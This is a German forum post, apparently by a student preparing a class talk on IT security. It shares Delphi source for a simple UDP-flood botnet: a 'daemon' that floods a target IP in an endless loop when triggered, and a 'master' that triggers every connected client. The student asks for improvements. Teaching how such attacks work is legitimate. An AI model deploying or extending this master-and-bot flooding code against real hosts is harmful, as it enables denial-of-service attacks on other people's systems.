Moin,
ich habe demnächst einen Vortrag in meiner Klasse indem es über IT-Sicherheit geht. Vorrangig möchte ich eine der simpelsten Attacken, im Internet, in einem Beispiel zeigen(UDP-Flooding).
Hierbei geht es nur um die Funktionsweise der Attacke und ihre Auswirkungen.
Mein Deamon:
Code:
Const MeinPort=12345;
Procedure DDos;
begin
while Form1.Active do
begin
Form1.UDPClient.Send('127.0.0.1',MeinPort,'Hallo'); //IP war nur ein Test
end;
end;
procedure TForm1.ButtonBeendenClick(Sender: TObject);
begin
Close;
end;
procedure TForm1.Client1Read(Sender: TObject; Socket: TCustomWinSocket);
begin
DDos;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
Client1.Port:=MeinPort;
Client1.Host:='127.0.0.1'; //IP war nur ein Test
Client1.Active:=True;
end;
Mein Master:
Code:
Const MeinPort=12345;
procedure TForm1.ButtonDDosClick(Sender: TObject);
var
i: Integer;
begin
for i := 0 to Server1.Socket.ActiveConnections-1 do
Server1.Socket.Connections[i].SendText('A');
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
Server1.Port:=MeinPort;
Server1.Open;
end;
Entschuldigt bitte eventuelle Rechtschreibfehler sowie meine Fehler im Quelltext, ich besitze keine großartigen Kenntnisse in Delphi, versuche mich aber immer stets weiterzubilden.
Ich bitte keine Kommentare wie "UDP-Flooding ist Skriptkiddy-Müll"
Ich bitte um Verbesserungsvorschläge um es noch deutlicher und einfacher zu zeigen.